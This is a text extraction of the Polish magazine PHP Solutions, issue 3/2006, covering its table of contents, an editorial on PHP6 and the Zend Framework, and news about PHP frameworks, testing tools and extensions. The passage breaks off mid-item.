PHP Solutions 03 2006 PL

84

description

Spis treściPOCZĄTKICo nowego w PHP6?Richard Davey18Będzie się działo...oś wisi w powietrzu – chciało by się rzec. Wielkimi krokami zbliża się PHP6, Oracle kupuje Zenda – jedyną prawdziwą „firmę od PHP”, a Microsoft szkoli i egzaminuje deweloperów technologii Open Source, w tym PHP. Już teraz w siedzibach Microsoftu na całym świecie możemy zdobyć tytuł Zend Certified Engineer. Czy nadchodzi więc rewolucja? Czy wydarzenia te zwiastują jakieś zmiany? I tak i nie. PHP6 nie przyniesie tot

Transcript of PHP Solutions 03 2006 PL

Page 1: PHP Solutions 03 2006 PL
Page 2: PHP Solutions 03 2006 PL
Page 3: PHP Solutions 03 2006 PL
Page 4: PHP Solutions 03 2006 PL

Spis treści

www.phpsolmag.org4 PHP Solutions Nr 3/2006

Spis treści

www.phpsolmag.org 5PHP Solutions Nr 3/2006

Będzie się działo...

Coś wisi w powietrzu – chciało by się rzec. Wielki-mi krokami zbliża się PHP6, Oracle kupuje Zenda

– jedyną prawdziwą „firmę od PHP”, a Microsoft szko-li i egzaminuje deweloperów technologii Open Source, w tym PHP. Już teraz w siedzibach Microsoftu na ca-łym świecie możemy zdobyć tytuł Zend Certified En-gineer. Czy nadchodzi więc rewolucja? Czy wydarze-

nia te zwiastują jakieś zmiany? I tak i nie. PHP6 nie przyniesie totalnie przełomowych rozwiązań. Będzie to raczej ewolucja, ale starannie za-planowana, przemyślana i jak najbardziej potrzebna. O tym, co się zmie-ni w PHP, a co nie, przeczytacie w artykule Richarda Davey'a, Co nowe-go w PHP6?

Z drugiej strony, mianem rewolucyjnego przedsięwzięcia określiłbym Zend Collaboration Project, a w szczególności Zend PHP Framework. Faktem jest, że kolejne frameworki dla PHP powstają prawie jak grzyby po deszczu, ale wybór odpowiedniego narzędzia nadal jest bardzo trudnyi często kończy się porażką, szczególnie w przypadku programistów, któ-rzy po takie rozwiązanie sięgają po raz pierwszy. Zend PHP Framework jest szansą dla deweloperów na wybór profesjonalnego, solidnego i rozwi-janego narzędzia z odpowiednim wsparciem ze strony deweloperów. Na pewno zainteresuje się nim wiele firm, którym brakowało do tej pory dobre-go frameworka klasy Enterprise.

Rozczarowuje natomiast druga część Zend Collaboration Project: Zend Developer Zone. W zamyśle twórców miało być to Centrum dlaDeweloperów PHP. Już teraz znajdziemy tam ciekawe artykuły, m.in.o wzorcach projektowych, ale po wejściu na forum zamiast prawdziwej dyskusji deweloperów zastaniemy już tylko puste reklamy komercyjnych produktów Zenda, co źle wróży całemu przedsięwzięciu. Pozostaje mieć tylko nadzieję, że takie Centrum kiedyś powstanie, jak nie teraz to w naj-bliższej przyszłości.

Pustki z całą pewnością nie zastaniecie w magazynie PHP Solutions. W obecnym wydaniu przeczytacie ciekawy wywiad z Ilia Alshanetskym, dowiecie się, jak zbudowano pierwszy system operacyjny w PHP i przeko-nacie się, że małżeństwo PHP i Pythona daje wiele korzyści. Powiemy też o streamingu audio z poziomu PHP, zatruwaniu sesji i przedstawimy trzy kolejne wzorce projektowe.

Gorąco zapraszam do lektury

POCZĄTKICo nowego w PHP6? 18

Richard Davey

Jedenastego listopada, 2005 roku w Paryżu odby-ło się spotkanie twórców platformy PHP. Kluczo-wym elementem spotkania była dyskusja nad wy-znaczeniem przyszłych kierunków rozwoju dla tej technologii.

TECHNIKI Strumieniowa transmisja dźwięku przez HTTP z wykorzystaniem Ampache 22

Karl Vollmer

Do stworzenia portalu multimedialnego nie trze-ba drogich, komercyjnych, wydzielonych serwerów. Wystarczą PHP, serwer Apache oraz baza MySQL.

Wzorce projektowe w akcji, czyli ciąg dalszy Niezbędnika dewelopera PHP 28

Piotr Szarwas

Czytelny i przejrzysty kod. Elastyczna i w każ-dym momencie gotowa na rozbudowę archi-tektura. Bogata, dne omówione w tym artykule wzorce projektowe.

NARZĘDZIAProjekt eyeOS: rewolucja w interfejsach webowych PHP 36

Steven Mautone i Pau Garcia-Milà

Wyobraźmy sobie, że nasze aplikacje webowe są elastyczne i umożliwiają uruchamianie wielu aplikacji w jednym oknie przeglądarki – w ramkach o dowol-nym rozmiarze, które można przeciągać, minimali-zować i przywracać. Wyobraźmy sobie pulpit WWW z paskiem zadań i koszem na śmieci...

DBDesigner 4 odpowiednik Oracle Designera 42

Pierre Hebel

Poprawne modelowanie danych jest gwaran-cją skuteczności podczas formuowania zapytań do waszej bazy danych. DBDesigner 4 pozwala mieć globalny, graficzny i bardzo precyzyjny wi-dok szczególnie na dużych strukturach danych.

Lokalizacja w PHP przy użyciu standardu TMX 50

Nicola Asuni

Wyobraź sobie, że jesteś głównym programistą w ze-spole budującym olbrzymią aplikację, która jako pro-dukt przeznaczony na rynek globalny musi wspierać dziesięć różnych języków. Dzięki TMX podczas tłu-maczeń nie pojawią się żadne „przypadkowe” błędy, zaś Twój kod pozostanie nienaruszony.

niemieckim włoskimfrancuskimpolskim

Nasz magazyn ukazuje się w czterech językach!

Jeśli jesteś zainteresowany zakupem licencji na wydawanie naszych pism prosimy o kontakt:Monika Godlewska [email protected] tel.: 48 22 887 12 66, fax: 48 22 887 10 11

Page 5: PHP Solutions 03 2006 PL

Spis treści

www.phpsolmag.org4 PHP Solutions Nr 3/2006

Spis treści

www.phpsolmag.org 5PHP Solutions Nr 3/2006

PROJEKTYImageVault:Ograniczanie dostępu do plików multimedialnych w PHP 56

Patrick O’Brien

Każdy chyba ma jakieś prywatne zdjęcia, który-mi chciałby się podzielić, ale które wolałby jed-nocześnie ukryć przed wścibskim ogółem inter-nautów. Cel ten można łatwo osiągnąć.

Mariaż Pythona i PHP. Tworzymy interfejs graficzny z wykorzystaniem SOAP 62Krzysztof Sobolewski

PHP słynie z oprogramowania serwerowego, Python – z możliwości łatwego tworzenia roz-budowanych aplikacji klienckich, Łacząc możli-wości obu języków w prosty sposób otrzymamy potężną i funkcjonalną aplikację typu klient-ser-wer.

BEZPIECZEŃSTWOTechniki zatruwania sesji w PHP 72

Jakub Mrugalski

Słyszałeś o przechwytywaniu i modyfikowaniu zmiennych POST, GET i COOKIES i myślisz, że wystarczy zamiast z nich korzystać z sesji, aby odgrodzić się murem od niebezpieczeństw. Rzeczywistość jest znacznie gorsza: to, co wy-daje się być ścianą warowni, jest zaledwie para-wanem, który bardzo łatwo naruszyć.

PEARGenerowanie kodu XML za pomocą XML_Serializer 76

Aaron Wormus

W artykule pokażemy zastosowanie PEAR-owy pakiet do generowania dokumentów XML.

VARIAWywiad z Ilią Alshanetskym 16

Dariusz Pawłowski

Aktualności 6

Opis CD 12

Recenzje 59

Listingi wszystkich opisywanych programów zo-stały zamieszczone na naszej stronie interneto-wej www.phpsolmag.org/pl.

Wyróżnieni betatesterzy: Krzysztof Trynkiewicz, Kamil Kaczmarczyk, Łukasz Witczak,Łukasz Jasiński, Tomasz Skaraczyński, Przemysław Sobstel.

Pytania dotycząceprenumeratytel. (22) 887 14 44e-mail: [email protected] Wydawnictwo Sp. z o.o.dział prenumeratyul. Piaskowa 301-067 Warszawa

CDtel. (22) 887 14 44e-mail: [email protected] Wydawnictwo Sp. z o.o.Defekty CD/DVDul. Piaskowa 301-067 Warszawa

Zamówienia /Numery archiwalnetel. (22) 887 14 44e-mail: [email protected] on-line: www.shop.software.com.pl

Kontakt z redakcjąe-mail: [email protected] Wydawnictwo Sp. z o.o.Redakcja PHP Solutionsul. Piaskowa 301-067 Warszawa

Strona WWW/Forumstrona www: www.phpsolmag.orgTu znajdą Państwo informacjedotyczące aktualnych i przyszłychnumerów magazynu PHP Solutions.

Forum: www.phpsolmag.org/newforumZachęcamy do dyskusji na naszymforum. Czekamy na propozycjetematów, które chcieliby Państwoznaleźć w najbliższym numerze pisma. Zapraszamy także do wymianypoglądów z innymi fanami PHP.

Cena Prenumerata: 135 złPrzelew na konto nr:46 1440 1299 0000 0000 0391 8238 Nordea Bank Polska S.A.II Oddział w Warszawie

PHP Solutions jest wydawany przez Software-Wydawnictwo Sp. z o.o.

Dyrektor Wydawniczy: Jarosław SzumskiMarket Manager: Sylwia Tuśnio [email protected] Manager: Maciej Krawcewicz [email protected] prowadzący: Dariusz Pawłowski [email protected] : Krzysztof Sobolewski [email protected] współpracownicy: Paweł Kozłowski [email protected], Paweł Grzesiak [email protected] produkcji: Marta Kurpiewska [email protected] okładki: Agnieszka MarchockaSkład i łamanie: Sławomir Zadrożny [email protected]ł reklamy: [email protected]: Marzena Dmowska [email protected]ład: 6 000 egz.

Adres korespondencyjny: Software-Wydawnictwo Sp. z o.o., ul. Piaskowa 3, 01-067 Warszawa, Polskatel. +48 22 887 10 10, fax +48 22 887 10 11www.phpsolmag.org [email protected]

Dołączoną do magazynu płytę CD przetestowano programem AntiVirenKit firmy G DATA Software Sp. z o.o.

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na towarzyszących mu nośnikach informacjei programy były poprawne, jednakże nie bierze odpowiedzialności za efekty wykorzystania ich; nie gwarantujetakże poprawnego działania programów shareware, freeware i public domain.Uszkodzone podczas wysyłki płyty wymienia redakcja.Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich firmi zostały użyte wyłącznie w celach informacyjnych.

Redakcja używa systemu automatycznego składu Do tworzenia wykresów i diagramów wykorzystano program firmy

Osoby zainteresowane współpracą prosimy o kontakt: [email protected]

Druk: ArtDruk

Wysokość nakładu obejmuje również dodruki. Redakcja nie udziela pomocy technicznej w instalowaniui użytkowaniu programów zamieszczonych na płytach CD-ROM dostarczonych razem z pismem. Sprzedaż aktualnych lub archiwalnych numerów pisma po innej cenie niż wydrukowana na okładce– bez zgody wydawcy – jest działaniem na jego szkodę i skutkuje odpowiedzialnością sądową.

Pismo ukazuje się w następujących wersjach językowych: polskiej , francuskiej , niemieckiej oraz włoskiej .

Page 6: PHP Solutions 03 2006 PL

Aktualności

PHP Solutions Nr 3/2006www.phpsolmag.org6

Million Dollar HomepageStudent z Wielkiej Brytanii zarobił ponad milion dolarów sprzedając pod reklamę powierzch-nię miliona pikseli na swojej stronie WWW. Na ostatniej aukcji sprzedał ostatnie tysiąc pikse-li za ponad 38 tyś dolarów. Wykupione reklamy będą wisieć na stronie przez najbliższe pięć lat. Reklamodawcy mogą być zadowoleni – stronę odwiedza dziennie ok. 500 tyś użytkowników. Jest to kolejny dowód na szybki i łatwy sukces w dobie wszechogarniającego Internetu. Stu-dent zakończył naukę i postanowił zainwesto-wać zdobyte pieniądze. http://www.milliondollarhomepage.com/

Oracle przejmuje PHPPojawiły się informacje, że Oracle postanowił kupić 3 firmy tworzące oprogramowanie Open Source: JBoss, Zend Technologies i Sleepycat. Ma to związek z rosnącym zainteresowaniem narzędziami i produktami Open Source wśród klientów korporacyjnych Oracle.http://news.com.com/2061-10795_3-6037727.html

The New York PHP Conference & Expo 2006 W dniach 14-16 lipca w Nowym Yorku odbędzie się konferencja poświęcona w głównej mierze zastosowaniom PHP w biznesie. Trzy dni sesji, wykładów, warsztatów i targów mają podkreślić rolę PHP w biznesowych aplikacjach Open So-urce. Nie zabraknie też czysto technicznych wy-kładów dla deweloperów, które poświęcone bę-dą rozwiązaniom tworzonym w PHP i dla PHP. Magazyn PHP Solutions jest patronem medial-nym konferencji.http://www.nyphpcon.com/

Web Technology conference and Expo W dniach 30 czerwca – 1 lipca w Bułgarii odbę-dzię się trzecia edycja konferencji poświęconej technologiom internetowym mającym zastoso-wanie w biznesie i edukacji. W ramach wykła-dów omówione zostaną tendencje i główne kie-runki rozwoju technik internetowych, takich jak PHP, .NET czy Apache::ASP.http://wtconferences.com/2006/

PHP Conference UKDnia 10 lutego w Londynie odbyła się krót-ka konferencja w całości poświęcona języko-wi PHP. Prelegentami byli Matt Zandstra (The Template Path), Derick Rethans (The eZ PHP Components Library – Object Oriented PHP), Christopher Kunz (PHP Security Holes and the Hardened PHP Project), Harry Fuecks ("AJA-X@localhost") i Paweł Kozłowski (Dependen-cy Injection with PHP – Object Oriented PHP) – nasz stały współpracownik i autor wielu opu-blikowanych u nas artykułów.Magazyn PHP Solutions był patronem medial-nym imprezy.http://www.phpconference.co.uk/2006/

JSON (JavaScript Object Notation)JSON to lekki format wymiany danych, który w odróżnieniu od XML-a może być przetwarzany w języku JavaScript w łatwy sposób (z wykorzysta-niem wbudowanej funkcji eval() ). JSON jest szczególnie przydatny przy wymianie danych w aplikacjach opartych o AJAX. Jest szybszy i ła-twiejszy do parsowania niż XML. Wielu dewelope-rów uważa, że jest bardziej naturalny od XML-a, inni twierdzą, że jego skąpa notacja jest myląca.Format JSON wykorzystywany jest już przez nowy Framework Zenda (zawiera komponent Zend_Json, odpowiedzialny za konwertowanie struktur PHP na JSON, aby potem można było skorzystać z AJAX-a) http://json.org/

PHP Collaboration Project: Zend PHP Framework

Trudno połapać się w gąszczu tak wielu dostępnych w sieci framewor-

ków dla PHP, szczególnie początkują-cym i średniozaawansowanym progra-mistom PHP. Nie wiadomo, które roz-wiązanie wybrać, które okaże się ła-twe w nauce i intuicyjne, czy w końcu, jakie są zastosowania konkretnego na-rzędzia. Sen z powiek spędzają obawy, że czas potrzebny na naukę danego fra-meworka okaże się stracony lub wybra-ny projekt zostanie zawieszony i nie bę-dzie dalej rozwijany.

Na szczęście ukazał się długo oczekiwany framework firmy Zend. Mi-mo że projekt jest nowy i znajduje się w fazie beta, to jednak sprawdzony, so-lidny i stworzony przez znanych dewe-loperów PHP z wykorzystaniem najlep-szych praktyk programistycznych. Jed-nym słowem, projekt, któremu można z pewnością zaufać i zainwestować czas w jego rzetelne poznanie. Wśród do-stępnych komponentów można wymie-nić m.in.:

• Zend_Controller oraz Zend_Viev (fun-dament dla MVC),

• Zend_db (dostęp do bazy danych oparty na PDO),

• Zend_Json (odpowiedzialny za kon-wertowanie struktur PHP na format

JSON, tak aby następnie wykorzystać je z poziomu AJAX-a),

• Zend_Mail i Zend_Mime (obsługa poczty),

• Zend_Pdf (generowanie PDF-óww locie),

• Zend_HttpClient (klient protokołu HTTP),

• Zend_Search_Lucene (silinik wyszu-kiwarki napisany na podstawie po-dobnego projektu w Javie).

Zend Framework razem z Zend Developer Zone i Eclipse PHP IDE tworzą PHP Colla-boration Project, który ma na celu podnie-sienie jakości programowania i oprogramo-wania Open Source tworzonego w PHP.

Licencja: http://framework.zend.com/framework_license_1.0.txthttp://www.zend.com/php_collabora-tion_project

PHP Collaboration Project: Zend Developer Zone

Nie ma chyba jednego miejsca bę-dącego sieciowym centrum dla de-

weloperów PHP. Jest kilkanaście god-nych uwagi portali o PHP, gdzie znaj-dziemy trochę newsów czy przykładów. Są też miejsca, w których informacji mo-gą szukać profesjonaliści – np. sitepo-int.com czy blogi znanych deweloperów PHP. Trudno jednak nie odnieść wraże-nia, że to tylko “kolejne” strony o PHP. W efekcie, żeby znaleźć konkretne infor-macje, zasypujemy hasłami przeglądar-kę google.com.

Tak jednak być nie musi: Zend wy-szedł z ciekawą i potrzebną inicjatywą stworzenia Developer Zone dla progra-mistów PHP. Już teraz możemy znaleźć tam sporo ciekawych artykułów, np.: Cho-osing the Right PayPal Solution, czy se-rię PHP Patterns, której autorem jest Matt Zandstra.

Jest też miejsce na tutoriale (póki co, nie ma ich za dużo) i przykładowe skrypty.

Z drugiej strony na forum dyskusyj-nym Zend Developer Zone widać jedy-nie topiki związane z komercyjną dzia-łalnością firmy Zend (Zend Studio, Zend Platfrom, Zend core for IBM itd.), co źle wróży całemu przedsięwzięciu. Miejmy jednak nadzieję, że Developer Zone sta-nie sie popularne i będzie cennym źró-dłem informacji dla deweloperów PHP. Miejsce w sieci, które stałoby się cen-trum dla programistów PHP jest czymś czego naprawdę obecnie brakuje.

http://devzone.zend.com/

Page 7: PHP Solutions 03 2006 PL

Aktualności

PHP Solutions Nr 3/2006 www.phpsolmag.org 7

PHPUnit 3.0W nowej wersji PHPUnit, która ma ukazać się w najbliższym czasie, przewidziano między in-nymi wsparcie dla Mock Objects (imitacji obiek-tów), dzięki którym możliwe jest symulowa-nie dowolnych klas poprzez tworzenie ich imi-tacji, co ułatwia przeprowadzanie testów jed-nostkowych. Wiele ulepszeń powstało pod-czas Unit Testów dla Zend Framework. Prze-widziano też wsparcie dla protokołu Test Any-thing Protocol (TAP). Wsparcie dla nowej wer-sji PHPUnit szykują też deweloperzy PHPEclip-se i Zend Studio. http://www.sebastian-bergmann.de/blog

Aspect-Oriented Programming i PHPAOP to paradygmat, według którego naj-ważniejsza jest modularyzacja i enkapsula-cja kodu. Dla PHP powstają proste rozsze-rzenia pozwalające stosować AOP, co jest szczególnie zalecane przy dużych projek-tach. Do najważniejszych rozszerzeń moż-na zaliczyć: aoPHP (http://www.aophp.net/), apsectPHP (http://www.cs.toronto.edu/~yijun/aspectPHP/), phpaspect (http://www.phpaspect.org/), AOP Library for PHP (http://www.phpclasses.org/browse/package/2633.html) czy Seasar.PHP (http://www.seasar.org/)

SimpleTest kontra PHPUnit2Blog Sebiastiana Bergmana, twórcy PHPUnit, zawiera krótkie porównanie dwóch najważ-niejszych i najbardziej znanych narzędzi do przeprowadzania testów jednostkowych: Sim-pleTest i PHPUnit. Znajdziemy tam odwoła-nie do strony deweloperów frameworka Agavi, którzy sprobowali użyć obu narzędzi, wybiera-jąc ostatecznie SimpleTest. Swoje argumenty podali na stronie: http://trac.agavi.org/trac.cgi/wiki/UnitTested. Bergman polemizuje z tymi argumentami.http://www.sebastian-bergmann.de/

Microsoft szkoli deweloperów PHPMicrosoft rozpoczął współprace z Zendem i przeprowadza egzaminy na Zend Certified En-gineer. Gigant prowadzi też kompleksowe szko-lenia pod nazwą Cross Training for Web Deve-lopers dla programistów PHP, JSP czy ColdFu-sion. Na stronie znajdziemy tutoriale dla wymie-nionych technologii, niestety raczej dla począt-kujących. Wygląda na to Microsoft nie odwraca się od konkurencji, tylko bierze coraz większy udział w rozwijaniu technologii, narzędzi i usług związanych z Open Source.http://aspnet.cmp.com/

Zostań Freelancerem od PHP, czyli PHP Job LinksJeśli szukasz pomysłów, jak wykorzy-stać swoje umiejętności i zapał w tworze-niu aplikacji WWW, sprawdź stronę: http://www.phpkitchen.com/index.php?/archives/670-PHP-Freelance.html.Znajdziesz tam oferty firm, które chętnie zatrud-nią Cie na zasadzie Freelancera. Warto odwie-dzić wymienione na liście strony, chociażby po to, by przekonać się, jakie projekty obecnie naj-częściej się rozwija i w co warto inwestować swoje umiejętności i czas.

IntSmarty IntSmarty to rozszerzenie dla systemu sza-blonów Smarty pozwalające na łatwe tworze-nie wielojęzycznych stron WWW. Ułatwia ono wspólną pracę programistom, grafikom i tłuma-czom. Rozszerzenie zostało stworzone przez Johna Coggeshalla. Licencja: Coggeshall.org http://www.coggeshall.org/oss/intsmarty/

PHP-Qt, czyli graficzne interfejsy nie z tej Ziemi

PHP-Qt to nowe rozszerzenie dla PHP 5 pozwalające na wykorzystanie biblioteki

Qt i tworzenie zaawansowanych interfejsów graficznych w PHP. Qt jest w pełni obiekto-wą biblioteką stworzoną z myślą o C++, któ-ra pozwala na wykorzystanie nowoczesnych technologii programowania GUI (mecha-nizmy sygnałów i slotów, widgety, systemy zdarzeń). Rozszerzenie PHP-Qt zapewnia obiektowy interfejs dla frameworka Qt4.

Do uruchomienia środowiska PHP-Qt będziemy potrzebowali:

• PHP 5.1.1+,• Qt4 development/pliki nagłówkowe, • skompilowaną bibliotekę Qt4 .

Niestety dokumentacja (http://doc.trolltech.com/4.0/index.html) odnosi się tylko do sa-mego Qt i jego wykorzystania z poziomu języka C++. Archiwum PHP-Qt zawiera 6 wprowadzających tutoriali. Projekt znajduje się jeszcze w fazie alfa.

Licencja: LGPLhttp://php-qt.berlios.de/

PHOCOA – framework dla zaawansowanych

PHOCOA to w 100% obiektowy, stero-wany zdarzeniami, oparty o kompo-

nenty i MVC framework dla PHP 5. Pro-jekt jest wzorowany na rozwiązaniach Ap-ple'a: Cocoa i WebObjects.

PHOCOA wykorzystuje Smarty i Phinga (http://phing.info). Zintegrowany jest z Propelem, FCK Editorem, Dynarch-Menu CSS/JS Menu, czy z Dieselpoint (aplikacja w Javie do nawigacji i wyszu-kiwnia) co wymaga obecności PHP/Java Bridge.

Framework oferuje bardzo wiele: od mających ogromne zastosowanie i prak-tycznych widgetów (Widget Toolkit), takich jak WFTextField, WFTextArea, WFHTM-LArea) przez mechanizmy normaliza-cji, walidacji danych oraz kontroli błę-dów, aż po przyjazne URL-e. PHOCOA zapewnia też mechanizmy dowiązania (ang. bindings), efektywne dzielenie da-

nych na strony i zaawansowane wyszuki-wanie. Pozwala też na automatyczne ge-nerowanie kodu np. interfejsu użytkownika (Interface Builder) na podstawie obiektów z Propela. Oferuje rozbudowane mecha-nizmy uwierzytelniania i autoryzacji. Na stronie projektu dostępna jest dokumen-tacja wraz z przykładami. Plany twórców frameworka są bardzo obszerne i ambit-ne, m.in.: zmiany w architekturze, interna-cjonalizacja, więcej przykładów i obszer-niejsza dokumentacja. Deweloperzy pro-jektu oferują też komercyjne wparcie.

Licencja: MIT License http://phocoa.com/http://developer.apple.com/cocoa/http://developer.apple.com/tools/webobjects/index.htmlhttp://phing.tigris.org/

Page 8: PHP Solutions 03 2006 PL

Aktualności

PHP Solutions Nr 3/2006www.phpsolmag.org8

Kupu i Bitflux, czyli edytory na każdą przeglądarkęKupu i Bitflux to chyba jedyne edytory Open Source typu WYSWIG wspierane zarówno przez Internet Explorer, jak i Mozillę. Pierwszy to edytor XHTML, drugi służy do edycji i wali-dacji XML-a. Kupu łatwo integruje się z dowol-nym systemem CMS, jest rozszerzalny i tworzy czysty oraz zgodny ze standardem kod XHTML (bazuje na CSS). Bitfluxowi pod względem funkcjonalnym również niczego nie można za-rzucić. Obie pozycje są warte uwagi i polecenia.http://www.oscom.org/projects/

Zend Framework w Gentoo LinuxGentoo Linux to dystrybucja Linuksa z jednym z najbogatszych, jeśli nie najbogatszym repozyto-rium pakietów. Każdy pakiet zainstalować moż-na jednym poleceniem, system sam zatroszczy się o zainstalowanie zależnych pakietów. Do re-pozytorium (drzewa portage) Gentoo trafił Fra-mework Zenda i jest teraz dostępny dla wszyst-kich użytkowników tej dysrybucji.http://www.sebastian-bergmann.de/blog/archives/581-Zend-Framework-in-Gentoo-Li-nux.html

ADOdb Active RecordADOdb_Active_Record to narzędzie ORM (Ob-ject Relation Mapping) podobne do Zend_Db_DataObject, tylko stworzone dla ADOdb. ADOdb_Active_Record odwzorowuje struktu-rę bazy danych na klasy w kodzie PHP. Pozwa-la to w większym stopniu skupić się na danych i kodzie PHP, a mniej na zapytaniach SQL. Wiersz w tabeli odwzorowywany jest przez in-stancję klasy PHP. Bez problemów mogą być również definiowane relacje. ADOdb_Acti-ve_Record opiera się na wzorcu ActiveRecord. Licencja: BSD, LGPLhttp://phplens.com/lens/adodb/docs-active-re-cord.htm

php Free Chatphp Free Chat to prosty czat napisany w PHP. Bazuje na plikach tekstowych i wykorzystu-je AJAX m.in do odświeżania strony. System wykorzystuje CSS i jest łatwy w rozszerzaniu. Można napisać własne style CSS, zmieniając w ten sposób całkowicie wygląd interfejsu lub stworzyć rozszerzenie pozwalające na przecho-wywanie danych np. w MySQL-u. Na stronie domowej projektu można wypróbować wersję demonstracyjną aplikacji.Licencja: LGPL http://www.phpfreechat.net/

BLENC dla PHP 5BLENC to rozszerzenie dla PHP 5 będące pro-stym enkoderem pozwalającym na zakodowa-nie kodu źródłowego aplikacji z wykorzystaniem algorytmu Blowfish. Proces szyfrowania polega na wywołaniu funkcji blenc_encrypt(), któ-ra wczytuje kod źródłowy i generuje jego zaszy-frowaną wersję. Rozszerzenie dostępne jest w repozytorium PECL.Licencja: PECLhttp://pecl.php.net/package/BLENC

pecl_httpPakiet zapewnia rozszerzone wsparcie dla pro-tokołu HTTP. Wspiera URL-e, daty, przekie-rowania, nagłówki, różne języki i kodowanie. Umożliwia przesyłanie danych z cachowaniem czy wznawianiem transferu np. po przerwaniu połączenia. Może współpracować z CURL-em. Klasy dla PHP 5: HttpUtil, HttpMessage, Htt-pRequest, HttpRequestPool, HttpDeflateStre-am, HttpInflateStream, HttpQueryString. Klasy dla PHP 5.1: HttpResponseLicencja: PECLhttp://pecl.php.net/package/pecl_http

Bezpieczeństwo AJAX-a

AJAX umożliwia tworzenie interaktyw-nych i bogatych interfejsów webo-

wych, przez co stał się ostatnio ogromnie popularny i obecnie korzysta z niego co-raz więcej aplikacji.

Okazuje się jednak, że wykorzysta-nie tej technologii może nieść poważne zagrożenia.

Do ataku agresor może wykorzy-stać obiekt XMLHttpRequest, podglą-dając kod wyświetlonej strony (ustala-jąc, jaką stronę wywołujemy i jakie pa-rametry przesyłamy) i wstrzykując od-powiedni skrypt. Można się jednak przed tym bardzo łatwo zabezpieczyć, wystar-

czy przestrzegać kilku prostych, funda-mentalnych zasad:

• sprawdzać podatność na ataki SQL injections,

• sprawdzać podatność na JavaSrcipt injections,

• przenieść logikę biznesową na stronę serwera,

• przeprowadzać walidację danych,• sprawdzać nagłówki zapytań HTTP,• nie traktować każdego zapytania jako

prawdziwego.

http://searchwebservices.techtarget.com/

WinBinder v.0.43 alfa

WinBinder to rozszerzenie dla PHP 4 i PHP 5 pozwalające na two-

rzenie natywnych aplikacji okienko-wych pod Windows. Pierwsze, co przy-chodzi na myśl, to podobieństwo do in-nych narzędzi takich jak PHP-GTK. W zakresie tworzenia samych interfejsów WinBinder oferuje podobne możliwo-ści co PHP-GTK: interfejs składamy z widgetów (ang. widgets), zdarzeń (ang. events) i akcji (ang. actions). Tu jednak podobieństwa się kończą.

W odróżnieniu od PHP-GTK, Win-Binder pozwala na tworzenie kom-pletnych aplikacji, a nie tylko interfej-sów użytkownika. Pakiet oferuje więc wszystkie możliwości PHP, a z drugiej strony zapewnia to co oferuje środo-wisko Windows. WinBinder umożliwia nawet niskopoziomowy dostęp do za-sobów systemu (np. RAM), choć i tak najczęściej wykorzystywane są funkcje związane z implementacją GUI. Roz-szerzenie opakowuje (ang. wrapping) natywne funkcje Windows swoimi kla-sami i funkcjami. Mamy do dyspozy-cji klasy do tworzenia okienek, przyci-sków, pól tekstowych, menu, pasków

zadań czy np. klasy to łączenia zda-rzeń z akcjami zdefiniowanymi przez użytkownika (np. kliknięcie na przy-cisk powoduje pojawienie się komu-nikatu). Winbinder umożliwia też two-rzenie aplikacji bazodanowych (SQLi-te, MySQL).

W najnowszej wersji biblioteki wpro-wadzono kilka istotnych zmian. Projekt zaopatrzono w nowy installer (doda-no m.in. :SQLite, FreeImage ) i zapew-niono nową strukturę folderów. Dodano i zmodyfikowano też kilka funkcji oraz naprawiono wiele błędów.

Archiwum WinBindera zawiera wszystko, co potrzeba. Znajdziemy tam binaria, jak i kod źródłowy biblioteki. Deweloperzy załączyli również manual oraz kilka przykładów – od bardzo pro-stych, jak aplikacja Hello World, do bar-dziej skomplikowanych, jak np. zalążek edytora GUI.

Najnowsza wersja WinBindera może pra-cować z PHP 5.1.1. Licencja: BSDhttp://pecl.php.net/package/winbinder

Page 9: PHP Solutions 03 2006 PL

Aktualności

PHP Solutions Nr 3/2006 www.phpsolmag.org 9

Data Access Object (DAO) Code GeneratorDaoGen to generator kodu źródłowego dla klas DAO na bazie wzorca projektowego DAO. Ma za zadanie ułatwić pisanie aplikacji bazodano-wych i uwolnić programistę od pisania podsta-wowych funkcjonalności dla każdej tabeli w ba-zie danych. W chwili obecnej narzędzie generu-je kod dla PHP i Javy. Na stronie projektu ma-my możliwość przetestowania narzędzia.Licencja: BSDhttp://titaniclinux.net/daogen/

EZPDO, lekkie ORM dla PHPEZPDO to narzędzie ORM dla PHP 5 stwo-rzone w duchu Javowego projektu Hiberna-te. “EZ” w nazwie oznacza “EASY” -- w odróż-nieniu od innych pakietów ORM ma być prost-sze i bardziej przyjazne dla programisty. Narzę-dzie wprowadza własny język: EZOQL (The mi-ni object query language), który odpowiednio rozszerza SQL-owy SELECT. Doskonałą re-komendacją dla EZPDO może być jego zasto-sowanie we frameworku PRADO czy Symfo-ny. Na stronie projektu znajdziemy dobrą do-kumentację, tutoriale, FAQ oraz forum dysku-syjne. W najnowszej wersji 1.1.0 zaimplemen-towano wsparcie dla transakcji i rozszerzono składnię EZOQL.Licencja: BSDhttp://www.ezpdo.net

eZ ComponentsFirma eZ systems, znana głównie ze swojego CMS-a eZ publish, wypuściła pakiet eZ Compo-nents będący platformą do tworzenia aplikacji klasy Enterprise. Pakiet składa się z niezależ-nych bloków, które mają przyspieszyć i ułatwić tworzenie wysokiej jakości oprogramowania. Wśród nich znajdują się komponenty do two-rzenia archiwum, cacheowania, dostępu do ba-zy danych (opartego na PDO), debugowania, operowania na plikach graficznych i ich anali-zy, obsługi poczty elektronicznej, filtrowania da-nych wejściowych czy komponenty zapewnia-jące dostęp do danych systemowych takich jak (RAM, rodzaj CPU itp).Komponenty wymagają PHP 5.1.Licencja: New BSD.http://ez.no/products/ez_components

Moodle – profesjonalny e-learning za darmoTo najbardziej znany i najlepszy system e-lear-ningu Open Source stworzony w PHP. Obsłu-guje aż 73 wersje językowe i zgodny jest z taki-mi standardami jak SCORM. Kursy dydaktycz-ne mogą być umieszczane w rozmaity sposób w różnej formie (pliki mutlimedialne, dokumen-ty tekstowe w różnych formatach, prezentacje itd.). System posiada trzy kategorie użytkowni-ków: admin, nauczyciel i uczeń. Instalacja systemu jest prawie automatycz-na. Moodle działa na PHP 4/PHP 5, MySQL/PostreSQL i Apache/IIS. Dostępnych jest wiele dodatkowych modułów i pakietów językowych.Na stronie Moodle'a zarejestrowanych jest po-nad 70 tyś użytkowników, mówiących w 70 ję-zykach i pochodzących ze 138 krajów. W su-mie istnieje prawie 10 tyś stron używających Moodle'a ze 150 krajów z całego świata (wykaz znajduje się na stronie domowej projektu), co stanowi jego najlepszą rekomendację.Strona projektu zawiera obszerną dokumenta-cję, FAQ, wersję DEMO oraz statystyki mówią-ce 